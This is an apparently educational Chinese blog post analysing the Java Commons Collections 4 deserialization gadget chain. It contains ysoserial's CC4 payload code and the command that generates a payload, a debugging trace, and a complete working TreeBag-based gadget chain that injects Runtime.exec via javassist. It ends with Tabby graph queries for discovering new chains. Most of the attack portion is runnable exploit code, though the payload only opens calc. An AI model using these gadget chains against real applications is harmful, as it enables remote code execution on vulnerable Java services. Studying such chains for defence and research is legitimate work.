Java Commons Collections 4 调用链
前言:继续分析学习,我这里跟的都是ysoserial中的代码,正好学习CC链,同样也可以学习ysoserial这个反序列化工具的使用
调用链分析
直接看yso的实现,发现如下几个点。
1、这里的templates使用的是TemplatesImpl类,看起来这个类很通用,因为在yso中可以看到cc2-4就一直使用这个模板进行攻击,调用链有所不同,但是攻击利用始终都是用这个类!
3、接着就是开始构造调用链,可以看到InstantiateTransformer,之前在cc3中学到过,这个类可以通过构造函数paramTypes,args来进行实例化对应的任意类
3、然后再是用ConstantTransformer来进行链式调用
4、触发反序列化对象为PriorityQueue中的TransformingComparator
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
反序列化复现
复现环境:
1、Commons Collections版本为 4:4.0
2、jdk版本8u180
还是老样子直接生成cc4利用的payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "calc" >> cc4.txt
public class Test {
public static void main(String[] args) {
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("cc4.txt"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("cc4.txt"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

调试过程
因为在cc2中的时候学习了,反序列化的触发点为PriorityQueue,所以就直接在PriorityQueue的readOjbect下断点进行跟一遍

继续跟hapify(),因为触发点在这里面

继续跟进siftDown
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
继续跟进siftDownUsingComparator,因为这里我们有实现comparator,这个comparator也就是上面我们构造的TransformingComparator
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

compare方法

经典的链式操作又要开始了

最后又开始触发了getTransletInstance,该函数里面进行了实例化类,从而触发了calc的执行,具体之前分析了,所以这里简单的过一下

总结下:
Commons Collections 4 我现在感觉起来很简单,为什么觉得简单?我目前已经分析到了cc4,我会发现cc3和cc4是前面的cc1-2的演变或者是混合体,都是混着用,所以有些套路已经知晓了,所以会理解的比较快!
TreeBag新反序列化链
package com.zpchcbd.cc4;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Bag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.AbstractMapBag;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.TreeMap;
public class cc4_jdk8_v4_TreeBag {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//拿到Exploit
CtClass class_s = classpool.get(Exploit.class.getName());
// 拿到AbstractTranslet
CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName());
// 设置父类(过if)
class_s.setSuperclass(class_f);
class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
// 获取TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_name", "zpchcbd_test");
setFieldValue(templates, "_bytecodes", new byte[][]{class_s.toBytecode()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
Comparator transformingComparator = new TransformingComparator(transformer);
TreeBag treeBag = new TreeBag(transformingComparator);
treeBag.add(templates);
setFieldValue(transformer, "iMethodName", "newTransformer");
serialize(treeBag);
unserialize();
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}

tabby反序列化链挖掘
tabby_TransformingComparator
source:java.util.PriorityQueue#readObject
chain: org.apache.commons.collections4.Transformer#transform
sink:java.lang.reflect.Constructor#newInstance
match (source:Method) where source.NAME="readObject" and source.CLASSNAME="java.util.PriorityQueue"
match (m1:Method{CLASSNAME:"java.lang.reflect.Constructor", NAME:"newInstance"})
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 8) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next","readInt","defaultReadObject"] or n.CLASSNAME=~'java.security.*')
return * limit 10

tabby_treebag
source:任意类#readObject
chain:
sink: java.util.Comparator#compare
这里只需要找到 任意类#readObject到java.util.Comparator#compare的路径即可,后面的构造交给TransformingComparator处理即可
match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="compare" and m1.CLASSNAME="java.util.Comparator"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 4) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10


浙公网安备 33010602011771号